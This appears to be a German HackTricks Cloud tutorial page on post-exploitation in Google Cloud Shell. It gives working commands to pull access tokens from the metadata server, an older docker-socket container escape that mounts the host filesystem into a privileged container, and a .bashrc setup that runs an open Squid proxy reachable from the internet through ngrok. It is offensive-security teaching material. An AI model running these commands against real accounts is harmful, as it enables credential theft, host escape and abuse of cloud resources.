GCP - Cloud Shell Post Exploitation
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Cloud Shell
Weitere Informationen zu Cloud Shell:
Benutzer-Token aus Metadaten abrufen
Durch einfachen Zugriff auf den Metadata-Server kann man einen Token erhalten, um Zugriff als der aktuell angemeldete Benutzer zu erhalten:
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
Container Escape / Docker use
Warning
Früher lief die cloud shell in einem Container mit Zugriff auf den docker socket des Hosts. Jetzt hat Google die Architektur geändert und der cloud shell-Container läuft in einem “Docker in a container”-Setup. Selbst wenn es möglich ist, docker aus der cloud shell zu verwenden, kannst du damit nicht über den docker socket auf den Host entkommen. Beachte, dass die Datei
docker.sockfrüher unter/google/host/var/run/docker.socklag, jetzt aber nach/run/docker.sockverschoben wurde.
Docker use / Alte container escape Befehle
```bash sudo docker -H unix:///run/docker.sock pull alpine:latest sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest sudo docker -H unix:///run/docker.sock start escaper sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh ```Außerdem war es in der Vergangenheit möglich, ein Token für ein Service Account zu finden, das von der Cloud Shell VM im metadata server verwendet wurde:
Altes Service Account aus metadata
```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/" default/ vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/ ``` Mit den folgenden Scopes: ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"https://www.googleapis.com/auth/devstorage.read_only https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/monitoring.write
</details>
### Als Proxy verwenden
Wenn Sie Ihre google cloud shell Instanz als Proxy verwenden möchten, müssen Sie die folgenden Befehle ausführen (oder sie in die .bashrc-Datei einfügen):
<details>
<summary>Squid proxy installieren</summary>
```bash
sudo apt install -y squid
Zur Info: Squid ist ein HTTP-Proxy-Server. Erstelle eine Datei squid.conf mit den folgenden Einstellungen:
squid.conf-Datei erstellen
```bash http_port 3128 cache_dir /var/cache/squid 100 16 256 acl all src 0.0.0.0/0 http_access allow all ```Kopiere die squid.conf-Datei nach /etc/squid
Konfiguration nach /etc/squid kopieren
```bash sudo cp squid.conf /etc/squid ```Führe abschließend den squid-Dienst aus:
Squid-Dienst starten
```bash sudo service squid start ```Verwende ngrok, damit der Proxy von außen erreichbar ist:
Proxy mit ngrok exponieren
```bash ./ngrok tcp 3128 ```Nach dem Start kopiere die tcp:// URL. Wenn du den proxy aus einem browser betreiben möchtest, wird empfohlen, den tcp://-Teil und die Portangabe zu entfernen und den Port in das Port-Feld der Proxy-Einstellungen deines Browsers einzutragen (squid is a http proxy server).
Für eine bessere Nutzung beim Start sollte die .bashrc die folgenden Zeilen enthalten:
Zu .bashrc für automatischen Start hinzufügen
```bash sudo apt install -y squid sudo cp squid.conf /etc/squid/ sudo service squid start cd ngrok;./ngrok tcp 3128 ```Die Anweisungen wurden von https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key kopiert. Sieh dir diese Seite für weitere verrückte Ideen an, um jede Art von Software (Datenbanken und sogar Windows) in Cloud Shell auszuführen.
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud

